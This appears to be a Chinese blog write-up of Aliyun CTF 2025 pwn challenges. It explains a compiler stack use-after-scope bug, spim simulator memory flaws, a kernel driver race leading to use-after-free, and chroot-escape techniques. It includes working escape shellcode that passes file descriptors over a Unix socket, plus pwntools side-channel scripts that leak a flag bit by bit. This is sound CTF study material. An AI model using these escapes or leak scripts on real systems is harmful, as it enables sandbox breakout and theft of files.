阿里云CTF2025复现-风清
runes
题目程序比较简单,就是 mmap 了一段内存,然后能任意使用 syscall。
这道题学到的最重要的一点就是不同的内核版本的系统调用可能会存在一定的区别,然后还是得看 man 手册,ai 在这个时候还是有点吃力
然后只要看最高版本的man就可以了,会把一些系统调用更改的历史都描述出来
这道题的wp用了 shmget 和 shmat 两个系统调用
shmget 获得一段共享内存
shmat 将那段共享内存映射到当前进程的内存里面
broken_compiler
这里主要是两个地方
一个是结构体的漏洞
结构体返回的时候只是一个指针,可以用这个一直在栈上写
这里的地址不能跳转到sp那里
第二个漏洞在一个编译优化的地方
大概就是,当寄存器不够的时候,会将寄存器上的值先放在栈上面,然后用的时候再取出来
这个时候就可以更改栈上的值进行利用
case IR_CALL: {
cprintl("addi $sp,$sp,-%d", ir->in_cnt * 4);
for (int i = 1; i <= ir->in_cnt; ++i) {
cprintl("sw $%d,%d($sp)", op2reg(&ir->ops[i]), 4 * (i - 1));
}
flush_cache();// 在这里刷新寄存器,写回内存
const char *n = ir->ops[0].name;
if (strcmp(n, "main") == 0) {
cputl("jal main");
} else {
cprintl("jal .F%s", ir->ops[0].name);
}
cprintl("addi $sp,$sp,%d", ir->in_cnt * 4); // 可能的问题
reset_cache();
int wr = reg_for_write(ir->out.var->off);
emit_mov(wr, REG_RET);
break;
}
有几个名词:
- stack use-after-scope
一个漏洞,简称 uas ,大概就是能利用生命周期已经结束的变量
- 朴素寄存器分配算法
尽可能的使用 寄存器 进行操作,减少使用内存
当寄存器不够的时候再将寄存器的值写入内存
这道题,如果可以反编译一下那些 shellcode ,或者如果能改进一下那个调试工具的话,应该会更容易出
用 0r 佬的poc改了一下
struct vuln_stru{
int v1;
int v2;
int v3;
int v4;
};
struct vuln_stru fn(){
struct vuln_stru vs;
return vs;
}
int empty(struct vuln_stru vs){
return 1;
}
int vuln(struct vuln_stru vs){
struct vuln_stru vs2;
empty(vs);
vs.v4 = 1; // 更改 ra 寄存器
vs.v3 = 2; // 更改 vs2 的指针
vs2.v1 = 1; // 这里程序会被中断,因为会往 0x2 这里写入,但是会写入失败
return 1;
}
int main(){
vuln(fn());
return 0;
}
调试的时候可以发现这个
这道题感觉从源码的层面有点难找到漏洞,更多的是结合源码测试找出的
这题的编译优化还算比较多,基本都在 mips.c 这个文件里面
broken_simulator
这道题主要是两个部分
chroot 之后是存在 /proc/self/maps 文件的,这个文件倒是必须得有的
一个是如何执行任意汇编
阅读源码实际上也就看看溢出,数组越界,格式化字符串这种能有一个突破口的地方吧
这道题主要也是跟着 0r 师傅的wp复现了
一个是这里
R[RD(inst)] = R[RS(inst)] + R[RT(inst)];
#define RD(INST) (INST)->r_t.r_i.r_i.r.rd
#define SET_RD(INST, VAL) (INST)->r_t.r_i.r_i.r.rd = (unsigned char)(VAL)
#define R_LENGTH 32
reg_word R[R_LENGTH];
在上一次的调试里发现 spim 是可以执行机器码的(spim底层也是先转化为机器码然后执行的),这里的话,由于在机器码里面寄存器是由两字节表示的,倒是存在溢出的风险。
这个 R 倒是在 bss 段,最多也就用来泄露一下地址了,感觉也会很复杂,好像也不是很有必要
然后在这里是不会进行对地址进行随机化的
#define TEXT_BOT ((mem_addr)0x400000)
#define DATA_BOT ((mem_addr)0x10000000)
#define STACK_TOP ((mem_addr)0x80000000)
#define K_TEXT_BOT ((mem_addr)0x80000000)
#define K_DATA_BOT ((mem_addr)0x90000000)
#define MM_IO_BOT ((mem_addr)0xffff0000)
#define MM_IO_TOP ((mem_addr)0xffffffff)
核心利用漏洞
首先是利用 read_syscall 的类型混淆漏洞
这里会调用
case READ_SYSCALL: {
/* Test if address is valid */
(void)mem_reference(R[REG_A1] + R[REG_A2] - 1);
#ifdef _WIN32
R[REG_RES] = _read(R[REG_A0], mem_reference(R[REG_A1]), R[REG_A2]); // 核心在这里
#else
R[REG_RES] = read(R[REG_A0], mem_reference(R[REG_A1]), R[REG_A2]);
#endif
data_modified = true;
break;
}
当 addr == TEXT_BOT 的时候,就能对 text_seg 进行修改
其实也意味着任意读写这里的各个 seg 内容
void *mem_reference(mem_addr addr) {
if ((addr >= TEXT_BOT) && (addr < text_top))
return addr - TEXT_BOT + (char *)text_seg;
else if ((addr >= DATA_BOT) && (addr < data_top))
return addr - DATA_BOT + (char *)data_seg;
else if ((addr >= stack_bot) && (addr < STACK_TOP))
return addr - stack_bot + (char *)stack_seg;
else if ((addr >= K_TEXT_BOT) && (addr < k_text_top))
return addr - K_TEXT_BOT + (char *)k_text_seg;
else if ((addr >= K_DATA_BOT) && (addr < k_data_top))
return addr - K_DATA_BOT + (char *)k_data_seg;
else {
run_error("Memory address out of bounds\n");
return NULL;
}
}
然后又学到一种操作,就是实际上是可以这样复制内容的:
int fd;
fd = open(0);
write(fd,addr,118);
read(fd,addr2,118);
close(fd);
然后是在这里,这里可以进行一个任意地址 free 的操作
static void bad_mem_write(mem_addr addr, mem_word value, int mask) {
mem_word tmp;
if ((addr & mask) != 0) /* Unaligned address fault */
RAISE_EXCEPTION(ExcCode_AdES, CP0_BadVAddr = addr)
else if (addr >= TEXT_BOT && addr < text_top) {
if (text_seg[(addr - TEXT_BOT) >> 2] == NULL) {
/* No instruction at address. Only create instruction from
full-word write. */
......
} else {
switch (mask) {
......
}
free_inst(text_seg[(addr - TEXT_BOT) >> 2]); // 问题在这里
}
在这几个函数里面都能调用 bad_mem_write
void set_mem_byte(mem_addr addr, reg_word value);
void set_mem_half(mem_addr addr, reg_word value);
void set_mem_word(mem_addr addr, reg_word value);
许多的指令都有这个
这里的话说是可以利用以进行 unlink,地址有了,也能进行任意地址写
不过这里的话我就看的不是很清楚了,因为貌似没法控制 malloc,不太确定要怎样触发
这道题拖的比较久,也就没有自己写一遍exp了
另一个是如何绕过沙盒
利用 jail 外的指针
xsh 佬给我发了一篇文章,大概是利用 openat 来进行目录穿梭的,但是需要开启一个选项
然后复现的时候发现 man 手册上就有了,原文是这样的:
chroot() changes the root directory of the calling process to that specified in path. This directory will be used for pathnames beginning with /. The root directory is inherited by all children of the calling process.
Only a privileged process (Linux: one with the CAP_SYS_CHROOT capability in its user namespace) may call chroot().
This call changes an ingredient in the pathname resolution process and does nothing else. In particular, it is not intended to be used for any kind of security purpose, neither to fully sandbox a process nor to restrict filesystem system calls. In the
past, chroot() has been used by daemons to restrict themselves prior to passing paths supplied by untrusted users to system calls such as open(2). However, if a folder is moved out of the chroot directory, an attacker can exploit that to get out of the
chroot directory as well. The easiest way to do that is to chdir(2) to the to-be-moved directory, wait for it to be moved out, then open a path like ../../../etc/passwd.
A slightly trickier variation also works under some circumstances if chdir(2) is not permitted. If a daemon allows a "chroot directory" to be specified, that usually means that if you want to prevent remote users from accessing files outside the chroot
directory, you must ensure that folders are never moved out of it.
This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a "chroot jail" by doing:
mkdir foo; chroot foo; cd ..
This call does not close open file descriptors, and such file descriptors may allow access to files outside the chroot tree.
大概就是对 chroot系统调用 来说,只会改变当前的根目录,而不会改变工作目录,导致 .. 的逃逸。
但是现在 chroot 命令和 glibc 中的这个好像被加强了,测试的时候一直不行
测试的时候
/parent_directory
│── flag
│── test
│── flagg
│── [new filesystem]
│── chroot_test
这里可以验证确实只是更改了根目录,而没有更改工作目录
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
// 将当前目录设为新的根目录
if (syscall(SYS_chroot, "./test") != 0) {
perror("chroot");
exit(EXIT_FAILURE);
}
// 直接读取 /flag
const char *path = "/flagg";
const char *args[] = {path, NULL};
if (syscall(SYS_open, path,0,0,0) != 0) {
perror("open flag");
exit(EXIT_FAILURE);
}
// 读取工作目录中的 flag
const char *pathh = "flag";
if (syscall(SYS_open, pathh,0,0,0) != 0) {
perror("open yuan flag");
exit(EXIT_FAILURE);
}
return 0;
}
同时大部分的系统调用都是在当前的工作目录进行的,如果把文件改成这样
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
// 将当前目录设为新的根目录
if (syscall(SYS_chroot, "./test") != 0) {
perror("chroot");
exit(EXIT_FAILURE);
}
// 使用系统调用创建一个新的文件夹 "newdir"
if (syscall(SYS_mkdir, "newdir", 0755) != 0) {
perror("mkdir");
exit(EXIT_FAILURE);
}
return 0;
}
执行后的文件会是这个样子
/parent_directory
│── flag
│── test
│── flagg
│── [new filesystem]
│── chroot_test
│── newdir
│──
同时要注意的一点是,. 代表的实际上就是工作目录,还有就是 .. 也是完全依赖于工作目录
这里如果想要实现目录穿梭的话,必须要求工作目录不在 jail 里面,或者有一个其他的 文件夹fd 不在 jail 里面,然后就可以绕过
例如这样的情况:
/ # 根目录(假设 chroot 之前的原始系统)
│
├── parent_parent/ # 父父目录
│ ├── flaggg
│ └── parent/ # 父目录
│ ├── flag
│ └── chroot_dir/ # chroot 监狱
│ ├── flagg
│ ├── chroot_test
│ └── [其他文件/子目录]
在 chroot_dir 运行这个会越狱失败
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
// 将当前目录设为新的根目录
if (syscall(SYS_chroot, ".") != 0) {
perror("chroot");
exit(EXIT_FAILURE);
}
// 读取工作目录中的 flag
const char *pathh = "../flag";
if (syscall(SYS_open, pathh,0,0,0) != 0) {
perror("open yuan flag");
exit(EXIT_FAILURE);
}
return 0;
}
在 parent 运行这个能成功
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
// 将当前目录设为新的根目录
if (syscall(SYS_chroot, "./test") != 0) {
perror("chroot");
exit(EXIT_FAILURE);
}
// 读取工作目录中的 flag
const char *pathh = "../flaggg";
if (syscall(SYS_open, pathh,0,0,0) != 0) {
perror("open yuan flag");
exit(EXIT_FAILURE);
}
return 0;
}
说白了,只要进程中存在 jail 外的 fd 指针,就可以进行越狱
重新打开一个 chroot (未测试)
由于一个进程里面只能存在一个根目录,如果两次调用 chroot 的话,利用之前的 fd ,应该也能越狱
更nb的方法
This last method is even more powerful because if you are able to start the program yourself via bash (like SetUID), you can let bash open a directory for you using the
[n]< path
最后一个方法更强大,因为如果您能够通过bash(例如setuid)自己启动程序,则可以使用
[n]< path
语法为您打开目录:Copy 复制
# # === same effect as above === $ ./program 3< /any/path
汇编和exp
提取了一下exp使用的shellcode,然后注释了一下
然后就是这一个神级网站
以后如果要写比较复杂的汇编,可以用这个
然后这个也可以用来审计一些代码什么的
这里也直接搬运一下,编译的话需要用ai改改,然后没必要链接起来,看重要的代码
shellcode 就是下面的转一下汇编
// send.c
const int SOCK_NAME=0x006a6a00;
__always_inline static void send_fd(int socket, int fd) {
struct msghdr msg = {0};
struct iovec iov;
char buffer[1] = {0};
char cmsg_buffer[CMSG_SPACE(sizeof(int))];
msg.msg_control = cmsg_buffer;
msg.msg_controllen = sizeof(cmsg_buffer);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
__builtin_memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
iov.iov_base = buffer;
iov.iov_len = sizeof(buffer);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
syscall3(SYS_sendmsg,socket, (long)&msg, 0);
}
__attribute__((naked)) void main() {
long sig = 1<<(SIGALRM-1);
syscall4(SYS_rt_sigprocmask,0,(long)&sig,0,8);
int client_socket = raw_socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
addr.sun_family = AF_UNIX;
__builtin_memcpy(addr.sun_path,&SOCK_NAME,4);
syscall3(SYS_connect,client_socket, (long)(struct sockaddr *)&addr, sizeof(addr));
short path;
__builtin_memcpy(&path,".",2);
int cwd_fd = syscall2(SYS_open,(long)&path, O_RDONLY);
send_fd(client_socket, cwd_fd);
}
// recv.c
const int SOCK_NAME=0x006a6a00;
__always_inline static int recv_fd(int socket) {
struct msghdr msg = {0};
struct iovec iov;
char buffer[1];
char cmsg_buffer[CMSG_SPACE(sizeof(int))];
msg.msg_control = cmsg_buffer;
msg.msg_controllen = sizeof(cmsg_buffer);
iov.iov_base = buffer;
iov.iov_len = sizeof(buffer);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
syscall3(SYS_recvmsg,socket, (long)&msg, 0);
//return *(int *)CMSG_DATA(CMSG_FIRSTHDR(&msg));
return *(int *)((((struct cmsghdr *) (&msg)->msg_control))->__cmsg_data);
}
__attribute__((naked)) void main() {
long sig = 1<<(SIGALRM-1);
syscall4(SYS_rt_sigprocmask,0,(long)&sig,0,8);
int server_socket = raw_socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
addr.sun_family = AF_UNIX;
__builtin_memcpy(addr.sun_path,&SOCK_NAME,4);
syscall3(SYS_bind,server_socket, (long)(struct sockaddr *)&addr, sizeof(addr));
syscall2(SYS_listen,server_socket, 5);
int client_socket = syscall3(SYS_accept,server_socket, 0,0);
int received_fd = recv_fd(client_socket);
syscall1(SYS_fchdir,received_fd);
int dir;
__builtin_memcpy(&dir,"..",3);
for(int i=0;i<8;++i)
syscall1(SYS_chdir,(long)&dir);
char buf[5];
__builtin_memcpy(buf,"flag",5);
int ffd=syscall2(SYS_open,(long)buf,0);
char buf2[64];
syscall3(SYS_read,ffd,(long)buf2,64);
syscall3(SYS_write,1,(long)buf2,64);
}
意外的看到测信道的几个方法
sleep()
- 直接用时间侧信道
看程序是否会崩溃
- 这个的话感觉要结合程序的运行情况才行了
这里直接搬运一下
from pwn import *
elf = context.binary = ELF('./binary')
PAYLOAD = asm("""
mov rax, 0
mov rdi, 3
lea rsi, [rsp-100]
mov rdx, 100
syscall
mov al, BYTE PTR [rsi+1] # 8a 46 01
and al, 2 # 24 02
jnz crash
ret
crash:
mov BYTE PTR [rax], 0
""")
def get_bit(offset):
p = process([elf.path, '/flag'])
byte = offset // 8
bit = offset % 8
payload = PAYLOAD # Replace byte and bit placeholders
payload = payload.replace(b"\x8a\x46\x01", bytes([0x8a, 0x46, byte]))
payload = payload.replace(b"\x24\x02", bytes([0x24, 1 << bit]))
p.send(payload)
exit_code = p.poll(True) # Block until exit
p.close()
if exit_code not in [-11, -31]:
return get_bit(offset) # something unexpected happened, try again
return exit_code == -11
flag = b""
binary = ""
i = 0
while not flag.endswith(b"}"):
binary = ("1" if get_bit(i) else "0") + binary
print(f"{binary: >8}") # Build out byte in binary first
if len(binary) == 8: # If full byte, convert to ASCII
flag += bytes([int(binary, 2)])
binary = ""
print(flag)
i += 1
exit
- 这个之前用过一次,就是在脚本里用来接受信号的代码需要注意一下[ p.poll(True) ]
这里搬运一下原文
from pwn import *
elf = context.binary = ELF('./binary')
flag = b""
for i in range(100):
# Dynamically compile the assembly needed
payload = asm(f"""
mov rax, 0
mov rdi, 3
lea rsi, [rsp-100]
mov rdx, 100
syscall
mov rax, 60
mov rdi, [rsi+{i}] # <- insert i (offset) here
syscall
""")
p = process()
p.send(payload)
exit_code = p.poll(True) # Block until program exits
flag += bytes([exit_code])
print(flag)
p.close()
seccomp-tools 直接连接进程
这个以前没有尝试过,暂时就先放一下
$ sudo seccomp-tools dump -p 1337
$ sudo seccomp-tools dump -p `pidof binary`
重要参考
https://book.jorianwoltjer.com/binary-exploitation/sandboxes-chroot-seccomp-and-namespaces#bypasses
额外的东西
sysctl 可以用来查看内核的一些参数
例如这个就说明对 chroot 进行了一定的加强
sysctl -a | grep link
fs.protected_hardlinks = 1
fs.protected_symlinks = 1
alimem
开启了 kaslr ,调试的时候暂时关了,否则打不到断点
然后在这里半天断不下去,之后发现我的基地址不对
漏洞点在这里( alimem_mmap )
rcu_read_lock();
if (!pages[idx]) {
rcu_read_unlock();
return -EINVAL;
}
page = rcu_dereference(pages[idx]);
if (page) {
phys_addr_t phys = page->phys;
vma->vm_ops = &alimem_vm_ops;
vma->vm_private_data = page;
vm_flags_set(vma, vma->vm_flags | VM_DONTEXPAND | VM_DONTDUMP);
rcu_read_unlock(); // 在这里提前解锁了,导致可能存在条件竞争
if (remap_pfn_range(vma, vma->vm_start, phys >> PAGE_SHIFT,
vma->vm_end - vma->vm_start,
vma->vm_page_prot)) {
return -EAGAIN;
}
atomic_inc(&page->refcount);
return 0;
}
rcu_read_unlock();
return ret;
这里学到了几个技巧
条件竞争时可以利用自旋等待
while (!t) {};
还有这个,能打开 gef-kernel 的帮助文档
gef help
这里由于虚拟地址被重新分配了,所以确定 slub 的大小得在
file 结构体大小为 112 ,大小符合
这样之后就能直接更改 /bin/poweroff ,改成读取 flag 的就可以了
整体是利用 uaf 然后堆喷 file 结构体